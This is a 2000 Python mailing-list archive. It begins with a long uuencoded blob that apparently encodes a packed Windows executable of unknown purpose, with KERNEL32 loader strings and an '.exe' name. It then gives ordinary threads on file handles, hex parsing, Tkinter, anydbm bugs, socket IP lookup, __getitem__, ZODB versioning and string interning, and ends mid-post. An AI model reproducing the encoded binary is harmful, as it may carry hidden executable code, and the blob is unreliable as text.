M=?D&\BO&+V)HC;;QT?B.0`)=`YR\@1M2-/_79^MT,E7#G`,HGR-34YHE at M0U
MT"&^#@P0)[,U5:D-$5:>@',%X/;#ZU.)`G5OA;'V`DLG=#Q at B]<*0#A[25NA
MW_L$]BND:E7./I7N8#SVZPNZ]3D<!]!0`S'U?.L;.'"J*[_`[$2P0RMHB7\1
M.DN3IL)E,AL5H/M@:8AEFZ`@M88I^ZUL_#OP<QIM!+;&1 at 4*H2,![N_2]0@%
M&^OBC>'4L1$G0F:E0G7%E&F"[3461'RYN,5[J7#<N``(2MTN?)G[=P'S.35C
M?5*_I$R/?=JN8)LX at W^)!Y;FQQI^?L%S&(!@"$".L1U=BP_I@<%\Y-5"K,5G
M27R[ZP0)^R\4 at K?1?D:+&&0VBDT2K5&(`/-^!-/A02S@"U`,YTN]"[]0$\'X
M!8/A502%SPVZK6XAR(MW""^(DUGC"\1'1=`[_GRZ4.R%!E_J/- at 9--AU3>,`
M_A+PU at 2!M&KV6"+#2/?8&\`H%*';C?58!*B35YUL`]979 at PE+F\;]<,^T`:`
M3J</"@-U"NHE=C<(ZP0%@$,<`WR;A8,9V1J at C*F],1)1HD00,57XZ\5=X&@L
M.!+8/OQ=+34"[?Z+Y8WW9P8'8/C18KCA=`]S;5--=`M=`K at KPT'+K?J'G6K^
M:#0XYO\U`!*;Z"89(+:+<*SHVX[;_K4N.YYT*.5VBPRS`&];4?:J2!=\LP1]
M^_>]7F@!`2VS?2CF_U0(Z\-DCZUPCA.&9HPZOA9?@V30#X'O:'5MQ$TUT;!2
M##F2!:S at X.Z;BE&[4`\U"+8>,A0<=D.4:_7?V at U"6\)G[U9#,C!80S`PMPY]
M8P,(^OS0K/=`"TZ48N2=F8FU9N!0/],(/FV)[[(A<WL(P6$F=K&Z6_N7CW1%
M5E6-:Q"H"UU>00L6\+H7B#-X/"53P.C"+6/=!!U6#%((-K:-R=:IWH\.CU4,
MJ_&=ZSL(,!J+-(_KH;I`6:%W[!S)ZQ5<-#^A#2$V71:4O#N2W6ZUBRFM'%`#
M&%`D-9$!Z.&A;U`-@'O7=P$J at SU48)EU(6C\/LZ at C@]ZH5AK6?C_'\:BPQ59
M?J2$50A$TU;W,\FX8$8[5`L&0?L+-8JSR/[QP>8#.Y8:2\/<PB8<*FR`Z`_=
MI#-P#1#7J/JB!V)[=0OQX5P2C5C4()EJ?E%YL&XP$Q<454"\)<YF/!)75KT'
MXNSM6"5`664\=BD94/T%SLXX^`V#"FH#`_AH$,UM,,I!4!!58/_TV-C9D%00
M5PP<'9NY'S+P'/^V9, at 6$3*8HS9.<"?(MNA-#3P6+%_K)L2-QJ(5Q#`YGQ$/
MK&!7"&KT-E[)+I!G`0`X51P2ADU$##U\DZY/Y;ZI1P%;4V at P,)E6_#8F3>2<
MQ!TCZR(@\IFM("P;F)<(\MQG(@%\6A1^*!M,4]844"V0;NWKW<<4H1TA'1;N
M=1B#V4C-'_P(2)Z`-C:R+/S31"`82[.V'<4\(',N$B365O!8B^`(0+<@CVE[
M*<Z42^0[WX6<-RC>:.A]!1LS`R3\"\5M]X;>B\1!W(/AZ\;::Z(3Q(OP)A&+
MFS7UUCAGW'1FZ=QA(8NY+EE7]$WL&J4-_H$XG&.)==@[]_N);5OB]D4-QT`^
M''BR3F)DL]O5?Q[:,H-^JHXZCR^-9<@\Q0'.0G\-$_Q"MK.D_+,VW(E=X&(%
MDHP2I;+NE'7O?=]TM%9DY&=TG(_6H)5HLR0#)XRQ,<-M*&@@E-5POU#"T12/
M<58R3(`IB'&W'6!HZRWH5HU*7PU0U36QM.Q`:4DQ\PQ>9#`VM]LK'H/"3E`T
MPY,C&*&`M*QN%()=GSZ-R5%>5IHXV496I:0$K1T&6<[X&U9)4Z#.PL>[*UP"
M6*-#+23R.S#<W1Q)!:%D$#-0,_(9V3$T+O*471C(QFQ+C5,L-"`0M^\,&!_@
M5G1CX4)8N$*-/!/'?/3B-#>`=MQ7S!P\W`NA at Z$A at WB#<FNSC:`IA%9?'%7F
MVL,E4OC7H.U"LO!BE?7,BA9+`/_`^D9=V`IZ`HO9SA3WQ@,-X`8'Q,UU!SVU
M`6SU=6_K(>I&=DGM>0,H?QTI]\;K+3<KW'H=#N,#L"`=P'_"42^<"%M>7\/W
MQYY9>!]5$CI5BA%HFSOI.NYL&"[Z*K"YN)U,+HD78F.O]0S@!VZ+!G"+%CL:
M`W#U<M[S+(3>!_!&J1[WPG`,!YV!WQJ0QCGK&('B_\<)#IX!B#0`0%-^+=K6
M_54*!.1?=?@3U(;ML'6%H_^"X`QB"69J48N1DX`/N5<0#Q-)0)`["R-+DXPL
M&@YY/PT[+"]O!/[K"/WK`_QP7Q[LW0<9BA%!U&2(%T=B[NL%V2$GQ+,$`1%K
M,TC3,.$$-"<29R>TL6K'.$AF",;!MF2E1W,,"(@'!JX:Z:&(90`/S/V,PN.C
M!@1;(!(<#1S%$^2R0M]5*>2-P8O1`\:@,`FM_G8(._@/@JK#%-/_%MS!@^(#
M4W(I\Z7_))5H0MAMT/AOQ[H<@^D$<@SKD,AVS:V\%X6`01Z->)`'_$$:FZYK
MD`2\`^`CT3S6W/8W"(I&`8A'`04"5 at A9["1CR\;'7,R-22L\RS*V)0$"`J;R
M=6>3D"-&(4<_C$W3=0=?!DP#1#PTU5_3-"PD'+]$CN1IFJ:[1H_D!^CH[.RF
M:9JF\/#T]/AX-&":^/SNC3S[#F&+1_@)__"``S5*O*:,H!$P;YL-["UVD)T+
M^1$,"<$%HPT*(!SHPRN-=#%Q?\]N>\DD#?WC_'<`1/?)))RWV>^-L$./^>M^
MD<\K"$,LD!@+.`-W*VRF8&T#.F\#3EB&O25?3U:V2Q\@W^T2H^X"[P(IC$O"
M6S:0)R2K+1G8>&4#KD5:^--TW85;M'^\`\3,1M at T3=3<Y/=#EQQIFJ9I'!@8
M%!2F:9JF$!`,#`@)"VF:"`0$'TO8=-T0!1@#*#Q$ES!;@G.WM8</A#"PA8,3
MM^0(.8OD8##P)3(?VSD=C,%U0%>XLD4A?I!05V3 at K+AD>QX]C",<+*@IR'.P
MX0`"C*)9;-%@%`/C5N$O-OAB%A1^'/@8Y$F6'!@<H8P;R8!%D)#VJ(`TM_ at V
MO#O']9T!75ELKH-F"5(9F%]-Q$RT&1DNY7ZTQ&<;R,<Z]W]!2\3OW&`G#SRN
M44NA+(-]Q(4H\.T"<B(>RCA=RA_.X&_<]3K3=!-=B at DZ.@0ZRG:M0&/?C9IF
MYL#KI;TQ,*4CR\D at G988".S&'"\/AGA!-.)^-4F*)`\M)%8V"0G7$!6]P,^S
M74D,(;0#P(L64Q$88BTE$5/-PFS-P0P[D]Z&!W3W6U=:BS64=J<>SB:T>7%(
M<]9YX$="AQHJ8?I&_(*3+^2)?=C;,__ at 0FC6V&XM&DOV$@="[Q867:S)18J0
M3+3I,^`[HB]0"'15:CV^<[3M at E2M]UF:^",2;H^B0<;S?3A>-4?Q+:J4PSL%
M_%R`&^]/U#BM6:,;`G54%:4:M&Z7C$$HGGQ3$70^#8,Z:D?CA0R$!-Y:S7XV
M.'3?B3 at SS*"69\`:,,0KWPO#6_H])Q^7<E5`;/\0$%E\0X,_(SY%B(6^ZC+_
M-+<(MZLM,!+_%`N+1P1&M>MYQE`?J%=$\CTTMS<!?\(\ZS5>!+?K,CUU>MG3
MA6]+?0+WWGVU"'I7)S>!8R'*0"T$#+"#;24J]F2P!`"P^6!&(0H=X(I9E:,[
M0+<E62X75C%V?PGZ=EDK8UD#1?@C0/?;&]OWS4RQX],CV&X5L`:K$`3H0Z(W
M-951Z=!78"T_O@%,@";C5^IB@[ZZ!HH$.#(>+AK];ETD]Q;79BL%.\'X6L!:
MM<+8E at _Z+KH!+Z",A?^T%H6&$K\9C1?076^J\8L006<Q=?935><$,NB`-5;%
MB^YO58C=TJ??DQ-0:]$.^@=KB0:+`TWKZ?%0(2[KB\4'"<P,(1<E_TI)TSR#
MG$I)24D$R!%(24HT)U/(2DI*2M,T3=-*2DI*2C,R!4A*2DH3D#1-2DI*3"=7
MR"5+2TP'2=,\2TM+3%,A4R!,3$W3-"=+2TM+2P5(TS1+2TLT33,R3$Q,3$SS
MH4*`9Y!EP:"N^$)HJ%5BN%#`$+NM9QBT"VB<G/V>_?L_HRET4&B,$&AX!Z.4
M/7C=S10,HY@&H0L$;F4*2I^*3J&8F*EZSQ`%4Q'Y`\>*YV(?31OK^+1Y"4J_
M2PR+3'1'V'@K4AM`^8/Z`2UPBU;1&05C*]'?MZH-D'7ZD>`(`\$&$'5O<#3*
M3:IT!O.K. at 9-$"O3(THRFL-O:S<4N0A55HWA#WBXNR(5&/D^3XL.<$O@$JD.
M4P\5\G/K.^3^X`^'P)<`4_F+Z!,*M\#MCHP0,H*S@=9$5KL>'00512AND_OK
M*46%`O3M9%:+0_Q(7(".G6BAQ at E7;C`5)(5K;:H-_P]<2TG7`@EK1D5!+KNP
M!^L?/U-`;"!'\4%U'8,])/G!&!0@%?Q5A1W(0:6=YSU>9$A$PK`$X!^SU,$C
M`&U97<-\9D)MW4(+9N(Z!]"`&Z`0#1HF_AT/$F\HU+?`EXT+PCE%?0/X]O81
MZP at 1T#E5"0Q!Z\:H*-<*D%`$$T7?!3>L*\)(]]`CP5T,8M5A/AY_Q,&*(Q$<
M"U9(EP!U%&Y>]/^_HLC<)9#7`'!Y=&CL8\'^;VYW+F5X90L*`&-G:0[?3-<-
M&V\#8PM!0D-$OU'__T5&1TA)2DM,34Y/4%%24U2<6%E:86+^____8V1E9F=H
M:6IK;&UN;W!Q<G-T=79W>'EZ,3(S-#4V-^___X76,#HN+"%`(R1>*BTK/WY?
M.UPG8(>__7=`]45R<F]R.B!5;D9L92!T;[X]\KL at B6-U=&4 at 4"!I;@MR<')E
MUOX?Y at 4K26YV86QI9"!P82$_V[[L5VQO8V$^<V-RTW1K`UMDIR`K:NV3W=X`
M20PH;"`T:&%N9#;;NMMO=F9A:6QU)2!D*&,"9%O=_J-F+EPR651(3TX"3457
M-832"T%OP;;;;FDO'#%#`W)U6&EM/676ZFWW5I0-"@-43$\-$18!^6\.`%-)
M3D=KVU_6ME%!$A%2-C`R.`@M-;0MV2!UR;MI5A5ZA?/-O at UH96%P-R<WE4*A
ML+5T/01UI!`U`G9SVV,C9GO\=VDXA5RV%0 at -;C<VPS.0/'-T9#5P'[^MH?%V
M:7('0&:E8R, at 8RGDBVT,;"A?-'MM:[1?*@-<+U@&W%C8R5[B7S$Y][;#F]MN
M95 at Q<V]LD7-C"-MDP"LX1G"H^09"A!E7(S?<&NTA;75LK`Z_860KA)%]'FLO
M%UISVV`T9+=A+@*B';\UW"%R;0!P0&=R86T at 4&V%O1`*-B\P.4^CT0PM$$$J
M*S!]"OE<+BLX87)G==>>A_`H<U\P,F;!;NMBCFUN9X)OW#H19.8MM,)9?TTM
M8#EF#\8_O!56:7.J0RLK(%*@3&EB:?;X;K1R>2<*<Q8.[>EL.R$14-0Z5RX`
MYMJP0@?EX"4LGQ;6VVML=VX^=P>`/)>?*P79`PLT/3@]PYRA)[@^OP,GZKJ3
MVPQ&&Q!&>P=_`T<+=VQ<<4QA?D%.=F50^G5;V\[><``3#U?A9'+397IAB?]S
M<V%G94)O>$%%<W$S,BX4%(!=M6P``)*/HK(C6R!`3=,MI_!0[`/HV,PH7D(T
MP$%+(QL"WL?U`0($"`_ at 8()/GAWL>8(A'Z;?!Z&E at 9_LF^_/X/Q`?H#\+ZC!
MH]JC('\VR-DA@?X'0+4OWPTR!$&V7\^BY*(:^WR%_`#EHNBB6WZA_E$%`_Y*
M?KO:7MI?7]IJVC+3V-[@^9#NF]PY,7[[%@,"FJ89;`,'!!@%#6F:IFD&"0<,
M"&2P008)"AL+ at WWO!5<[!P]7$+X at W6`3$0,2%R$99+!!-0]!0VRPP090,U(7
M4P>PP08;5U]9>VP7I&F:;FVK('`<<K#!OA?'+X"S at 0?!!AEL at A^#A(]!!FF:
MD2F>H08;9+"D;Z>WG\Z;'(3!']<+&`?WNN^-\/@#3\`7`!T+!*09D$&6C0 at 9
MD`$9CH^0`1F0`9&2&*0;D),#ZP>,`^/?!.<,(`63&1^ZKT5\NZ`L-W0'"8V9
MIFE("B3'4],T3;,'$<@2I!.ZSS1->!A`5!@'&C1-LVS at 4ANH'(#3-$W3>'!Y
M8'I*TS1-4/Q,_SPC(@@#.\`11498.-JJ#7CLMTA00WRCVJ7U=&4+B%-T9$@-
M^^T!)`U#;&]S90R^V'O;&D9I"%1Y<!DO#T%2?:O&&47D0V]D95#Z=FO48[L3
M5V$01F]R4ZQ5;Z6W(T]B:I<U`-\+-B,X;6%EJMDO8'!);F9O$!OGV\].GG%U
M;&Q0:6A.86VZVZQ\JD:-;VUMFTS6J at _68H1697)SE at O8^Y*]C8DI4%\*=K#'
MVD$+!T]%30E#=6W9YMZJ=$1I<J-V>4N;5=_[1')I=NM:5/+=?<F6+382FD&P
M;6>MK`T*1!1T&GD`M at G-"$@H"E8#ENS%2\`,,E)>N'"P90Q7:4A#:!=4;TT)
M.&P`QT)YF;H9@*T-W'!P?K7""<U4&"9->BD`?$&(92AC10IK:)-Z4XN(<Q@(
M6UEL5T47%B[,*%TN4QB%=6Y9*[<;VE)T;*%W:0JTM;=A+;_)%$Q#3>%FLX2=
M/D$->@L-;F$3;P\?Z'!>PI)M0V4]#XN9@'+"HU9A6,`(?YA(GT%D9'*C3)/.
M`!HV$4$<_D/^RU!%3`$#`#6'L$3@``\!"P$&%CPC1@!=;QMY!&>#=%`U$`\$
MX+,A9Y4$%P)O`;V!C;TH#!`'!H"0Y27=M%4H!0QDW:?`'B[98`VQEG3$/Y!`
MF.8"/@OZ8"YR"5,N6\+DZ at D#`D`@SQ9K+B8G#&!R^TW)8,`3G%8#!6,```"`
M`$`"`/\``````````````````&"^`&!``(V^`+#__U>#S?_K$)"0D)"0D(H&
M1H@'1P';=0>+'H/N_!';<NVX`0````';=0>+'H/N_!';$<`!VW/O=0F+'H/N
M_!';<^0QR8/H`W(-P>`(B at 9&@_#_='2)Q0';=0>+'H/N_!';$<D!VW4'BQZ#
M[OP1VQ')=2!!`=MU!XL>@^[\$=L1R0';<^]U"8L>@^[\$=MSY(/!`H']`//_
M_X/1`8T4+X/]_'8/B@)"B`='277WZ6/___^0BP*#P at 2)!X/'!(/I!'?Q`<_I
M3/___UZ)][F]````B@='+.@\`7?W@#\%=?*+!XI?!&;!Z`C!P!"&Q"GX at .OH
M`?")!X/'!8G8XMF-O@!@``"+!PG`=#R+7P2-A#``@````?-0@\<(_Y8H@```
ME8H'1PC`=-R)^5=(\JY5_Y8L@```"<!T!XD#@\,$Z^'_EC"```!AZ0N.__\`
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````XD```*)``````````
M````````````````````1)```%*0``!BD````````$M%4DY%3#,R+D1,3```
M3&]A9$QI8G)A<GE!``!'9710<F]C061D<F5S<P``17AI=%!R;V-E<W,`````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
E````````````````````````````````````````````````````
`
end


From dalke at acm.org  Mon Jul 24 21:08:28 2000
From: dalke at acm.org (Andrew Dalke)
Date: Mon, 24 Jul 2000 19:08:28 -0600
Subject: mapping the read() fonction
References: <8lhsu5$huv$1@reda.worldonline.fr> <h2%e5.2232$6E.537018@ptah.visi.com>
Message-ID: <8lip3q$l0t$1@slb7.atl.mindspring.net>

Grant Edwards wrote:
>How about:
>
>  names = ['a','b','c']
>  list1 = map(open,names,['r','r','r'])
>  print list1
>  list2 = map(lambda f: f.read(), list1)
>  print list2

You probably shouldn't do it that way since with enough names you
might run out of available file descriptors (eg, 64 on the box where
I first ran into the problem :)

                    Andrew
                    dalke at acm.org





From gritsch at iue.tuwien.ac.at  Mon Jul  3 06:14:20 2000
From: gritsch at iue.tuwien.ac.at (Markus Gritsch)
Date: Mon, 03 Jul 2000 12:14:20 +0200
Subject: Is there no function to convert a hex number to decimal?
References: <395DB41F.85E51307@iue.tuwien.ac.at>
Message-ID: <3960677C.BED04E21@iue.tuwien.ac.at>

Markus Gritsch wrote:

> Hi!
>
> Although there are several built in functions to convert numbers from
> decimal to hex or oct, it seems that there is no function which can do
> the same in the reverse direction.  Of course I can write 0xff, but
> what should I do, if I have a string containing a hex value?
> Currently I use this brute code:
>
> hex_dec = {}
> for i in range(256):
>     hex_dec[hex(i)[2:]] = i
>
> def dec(hex_string):
>     return hex_dec[string.lower(hex_string)]
>
> But I am not entirely happy with it, because I have to generate this
> clumsy dict, and the function works only for two-digit-hex-numbers.
>
> Is there really no other way?

I found the solution in the string module:
atoi (s[, base]) and atol (s[, base])

BTW, these functions will become obsolete in python 2.0, because there will be an
optional "base" argument to the built-in functions long() and int()

--
                                                                      |\/\/\/|
/------------------------------------------------------------------\  |      |
| Markus GRITSCH                 | phone:    +43 / 1 / 58801-36015 |  |      |
| Institute for Microelectronics | cellular: +43 / 676 / 4973431   |  | (o)(o)
| Technical University of Vienna | fax:      +43 / 1 / 58801-36099 |  C      _)
| Gusshausstrasse  27-29 / E360  | email: gritsch at iue.tuwien.ac.at |   | ,___|
| A-1040  Vienna / AUSTRIA       | SMS:   436764973431 at max.mail.at |   |   /
\------------------------------------------------------------------/  /____\
                                                                     /      \
"Computers let you make more mistakes faster than any other invention in human
 history, with the possible exception of handguns and tequila."
                                                               Mitch Radcliffe





From philh at comuno.freeserve.co.uk  Fri Jul 28 17:02:22 2000
From: philh at comuno.freeserve.co.uk (phil hunt)
Date: Fri, 28 Jul 2000 22:02:22 +0100
Subject: Python is Zen (was Python is wierd)
References: <39806045.F67EBD04@wag.caltech.edu>
Message-ID: <slrn8o3t6u.hem.philh@comuno.freeserve.co.uk>

On Thu, 27 Jul 2000 09:16:05 -0700, Richard P. Muller <rpm at wag.caltech.edu> wrote:
>Rather than reading a book, I would suggest you just dive in and start
>programming. I thought some of Python's features (whitespace
>sensitivity) were laughable when I first heard of them. 

So did I. But having used python, it all makes sense, it is all
good stuff.

I delayed using Python for a year because of its perceived flaws. 
Silly me.

-- 
***** Phil Hunt ***** 
   The RIAA have banned Napster -- so boycott the music industry!
 Don't buy any CDs during August (especially on Tuesday 1st August).
Spread the word: put this message in your sig, tell all your friends.
             See website <http://boycott-riaa.com/>.  



From ruud.cox at philips.com  Mon Jul 17 03:51:02 2000
From: ruud.cox at philips.com (Ruud Cox)
Date: Mon, 17 Jul 2000 07:51:02 GMT
Subject: Tkinter and absolute positioning
Message-ID: <8kudt2$92e$1@nnrp1.deja.com>


Is there a way to position child widgets on a TopLevel
widget using absolute coordinates instead of using pack,
place or grid?

Ruud Cox



Sent via Deja.com http://www.deja.com/
Before you buy.


From olmy at thistledown.org.bbs  Mon Jul 17 20:00:02 2000
From: olmy at thistledown.org.bbs (olmy at thistledown.org.bbs)
Date: 18 Jul 2000 00:00:02 GMT
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
Message-ID: <3bRU02$ifu@openbazaar.net>

hello,

>
> What's wrong with 6.1?  (We upgraded a few months back, mainly to get
> 1.5.2, and I'd like to know if there's a serious reason we should move
> to 6.2.)


There was one python-specific problem I've run into with RH6.1 versus
RH6.2.

6.1 comes with rpm build python-1.5.2-7 and appears to have a
broken anydbm module (which also breaks shelve). See below:

>>> import anydbm
>>> newdb = anydbm.open('test','c')
>>> newdb['1'] = 'test1'
>>> newdb.close()
>>>

[olmy at euclid olmy]# python
Python 1.5.2 (#1, Sep 17 1999, 20:15:36)  [GCC egcs-2.91.66 19990314/Linux
(egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import anydbm
>>> newdb=anydbm.open('test','c')
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python1.5/anydbm.py", line 83, in open
    raise error, "db type could not be determined"
anydbm.error: db type could not be determined
>>>


This problem was apparently fixed with the rpm build of python
that came with RH6.2 (python-1.5.2-13):

>>> import anydbm
>>> newdb=anydbm.open('test','c')
>>> newdb['1'] = 'test1'
>>> newdb.close()
>>>
[olmy at hexamon olmy]$ python
Python 1.5.2 (#1, Feb  1 2000, 16:32:16)  [GCC egcs-2.91.66 19990314/Linux
(egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import anydbm
>>> newdb=anydbm.open('test','c')
>>> newdb['1']
'test1'
>>> newdb.close()


of course, this doesn't mean you need to upgrade from RH6.1 to RH6.2,
but it would suggest you need to upgrade your python rpms.

cheers,

jeff

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
MessageID: RN7/dw97SSxgWUT2asyiONlPRzbOe0JQ

iQCVAwUANofqRKxB/KiL2JNNAQEwxwP/VJQamtcDOlt9h3fQ9KqyuiBzBKcXQQMo
Fahl3o4HjqI1qh5mv5Mac1G0YKJp+rkhp64GOKG6jDu46aPIgZ9xTc204wQ+wLyO
mqw8/EEc3PKtGM57vPkkVJraxHZMdZV45wMnno21Gx03k+d7MWbpd85tjYhrXMFJ
TwUCFSAG8/4=
=TRCD
-----END PGP SIGNATURE-----


From moshez at math.huji.ac.il  Fri Jul 14 13:31:27 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 14 Jul 2000 20:31:27 +0300 (IDT)
Subject: Is pickle buggy?
In-Reply-To: <396EE83D.FB60B033@bioreason.com>
Message-ID: <Pine.GSO.4.10.10007142029410.22525-100000@sundial>

On Fri, 14 Jul 2000, Brian Kelley wrote:

> I don't get that behavior on windowsNT.  If I directly
> intern(uniquestring()) then memory gets eaten extremely fast, not on the
> order of hours but on the order of minutes.
> 
> I'll let eval(`uniquestring()`) run for a while and see what happens.

This program also eats memory quickly

def do(l=[]):
	l.append(1)

while 1:
	do()

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From shindich at my-deja.com  Mon Jul 17 13:34:44 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Mon, 17 Jul 2000 17:34:44 GMT
Subject: Getting local IP address...
References: <8ko8qr$7cd$1@nnrp1.deja.com>
Message-ID: <8kvg3i$2a6$1@nnrp1.deja.com>

In article <8ko8qr$7cd$1 at nnrp1.deja.com>,
  Stephen Hansen <stephen at cerebralmaelstrom.com> wrote:
> How do I go about getting my dynamic IP address? I want to make a
> little program to check periodically (daily or so) and log the results
> so I can determine how often my IP is getting shuffled. :)
>
> Thanks :)
>
> --Stephen
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>
Try this:
   import socket
   socket.gethostbyname (socket.gethostname ())

I hope this helps!
Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From stephen at cerebralmaelstrom.com  Thu Jul 20 10:52:51 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Thu, 20 Jul 2000 07:52:51 -0700
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com>
Message-ID: <39771397$1_3@my.newsfeeds.com>

    You can't quite do it that way, I don't think :)

    In Python, the my_class[2][3] is evaluated first as my_class[2],
and whatever value is returned there is what the [3] is playing on.

For instance:

sublist0 = [1,2,3,4]
sublist1 = [5,6,7,8]
sublist2 = [9,10,11,12]

biglist = [sublist1, sublist2, sublist3]

>>> biglist[2][3]
12

'my_class[2][3]' implies a sequence of sequences -- the second sequence
has its /own/ __getitem__ that has to be called. So, you can either have
my_class's __getitem__ return another class with its own getitem, or you
can use slices... my_class[2:3]?

--S

<manolop at my-deja.com> wrote in message news:8l720o$lr4$1 at nnrp1.deja.com...
> Hi!
>
> I need to overload the [ ] operator in a class, so that I can do things
> like my_class[2][3]
>
> Everything works fine when I only use one [ ] and the correct values
> are passed to __getitem__, but I run into trouble when I add the second
> [ ].  Should I use __getitem__ for the double[ ] or is there another
> method? O:-)
>
> TIA
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From chrisw at nipltd.com  Thu Jul 20 08:15:20 2000
From: chrisw at nipltd.com (Chris Withers)
Date: Thu, 20 Jul 2000 13:15:20 +0100
Subject: import into global namespace
Message-ID: <3976ED58.290D439F@nipltd.com>

Hi again :-)

Okay, after all the fun of loading modules from strings this one should
be a little simpler :-)

Right, I have the following code getting called in a function:

exec "from %s import *" % moduleName

...which works great, but I'm guessing only imports stuff into the
function's namespace, so other functions can't use the imported modules
:(

I know I can do exec "from %s import *" % moduleName in globals,locals

What would I set globals and locals to so that the import happens
globally and all functions will have access to the imported names from
the module?

cheers,

Chris



From hei at adtranzsig.de  Thu Jul 13 03:23:34 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Thu, 13 Jul 2000 09:23:34 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk> <8kfd7o$2tf$1@desig-bs01-s04.adtranzsig.de> <3dwviszl99.fsf@kronos.cnri.reston.va.us>
Message-ID: <8kjqs9$kkk$1@desig-bs01-s04.adtranzsig.de>

"Andrew Kuchling" <akuchlin at mems-exchange.org> schrieb im Newsbeitrag
news:3dwviszl99.fsf at kronos.cnri.reston.va.us...
> "Dirk-Ulrich Heise" <hei at adtranzsig.de> writes:
> > Isn't this a very real problem? I mean, i could
> > get around it using some export/import feature
> > that saves to a certain file format i define.
> > So i'd be writing save/load stuff myself again.
> > So what do i gain using ZODB or pickle or whatever?
>
> In ZODB versioning is handled by writing __getstate__/__setstate__
> methods for your class that will convert old instances to the new
> instance, by adding new attributes or whatever.  This means that if
> you change classes a lot, your __getstate__ will slowly accrete more
> complexity over time, but Jim Fulton argues that the burden isn't too
> great.

I agree with that. Checking some global version number should be enough
to reduce the runtime burden to (nearly) nothing when no version change is
required. And you'd need a similar functionality in any other save/load
mechanism as well if you want to provide backwards compatibility.
ZODB will surely become part of my next big software salad.

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Andrew Kuchling" <akuchlin at mems-exchange.org> schrieb im Newsbeitrag
news:3dwviszl99.fsf at kronos.cnri.reston.va.us...
> "Dirk-Ulrich Heise" <hei at adtranzsig.de> writes:
> > Isn't this a very real problem? I mean, i could
> > get around it using some export/import feature
> > that saves to a certain file format i define.
> > So i'd be writing save/load stuff myself again.
> > So what do i gain using ZODB or pickle or whatever?
>
> In ZODB versioning is handled by writing __getstate__/__setstate__
> methods for your class that will convert old instances to the new
> instance, by adding new attributes or whatever.  This means that if
> you change classes a lot, your __getstate__ will slowly accrete more
> complexity over time, but Jim Fulton argues that the burden isn't too
> great.
>
> Some OODBs automatically convert objects to the latest version when
> the class is changed; this could probably be implemented on top of the
> ZODB somehow, though there's currently no way to get all the instances
> of a given class.
>
> --amk




From akuchlin at mems-exchange.org  Fri Jul 14 16:56:47 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 14 Jul 2000 16:56:47 -0400
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com> <396F87C4.6B3C9FAE@schneider-kamp.de> <396F0DD3.B391503@bioreason.com>
Message-ID: <3dk8eol9bk.fsf@kronos.cnri.reston.va.us>

Brian Kelley <kelley at bioreason.com> writes:
> eval('"AAAAA"')
> eval('"AAAAB"')
> eval ('"AAAAC"')

This seems a reasonable outcome of the rule that Python always interns
string constants.  Every string gets interned, and interned strings
are never freed, so memory is constantly being consumed.  

If you need full Python expressions, there seems no way around using
eval().  But if you simply need string escapes, it's probably worth
writing a parser.  (Does such a parser already exist somewhere in the
standard library?  Anyone know?) 

--amk





From cut_me_out at hotmail.com  Mon Jul 17 14:31:28 2000
From: cut_me_out at hotmail.com (Alex)
Date: 17 Jul 2000 14:31:28 -0400
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com> <etdbszzw6wv.fsf@w20-575-115.mit.edu> <8ksvja$9f3$1@nnrp1.deja.com>
Message-ID: <etdhf9ok3r3.fsf@w20-575-116.mit.edu>

>     I don't think "confusing" is the right word. Although I'm fairly
> certain I won't get the words right: It destroys the...  maybe the
> word is "encapsulation" or "modularity" or something - it means that
> you cannot verify things are correct by just looking at things
> locally. 

You're probably right, I don't know much of the jargon.

> Not sure what sort of debugging we're referring to. If you're trying
> to figure out how to do something, as opposed to writing code meant to
> be used later, that's different.

True, that's what I was trying to do, so the changing of the class was
only happening on a very limited and interactive level (and it still got
a bit confusing at times. :)

> Possibly I missed it, but I haven't seen any reason given why changing
> __class__ is better than creating a new instance

Well, if you want to do it by creating a new instance, you have to make
some sort of copy constructor.  Unless you automate the process so that
it copies every attribute of the instance, you are bound to forget one
at some point.

Alex.


From gherman at darwin.in-berlin.de  Fri Jul 14 06:13:17 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Fri, 14 Jul 2000 12:13:17 +0200
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net>
Message-ID: <396EE7BC.DA2FA7B3@darwin.in-berlin.de>

Bruno Gustavs wrote:
> 
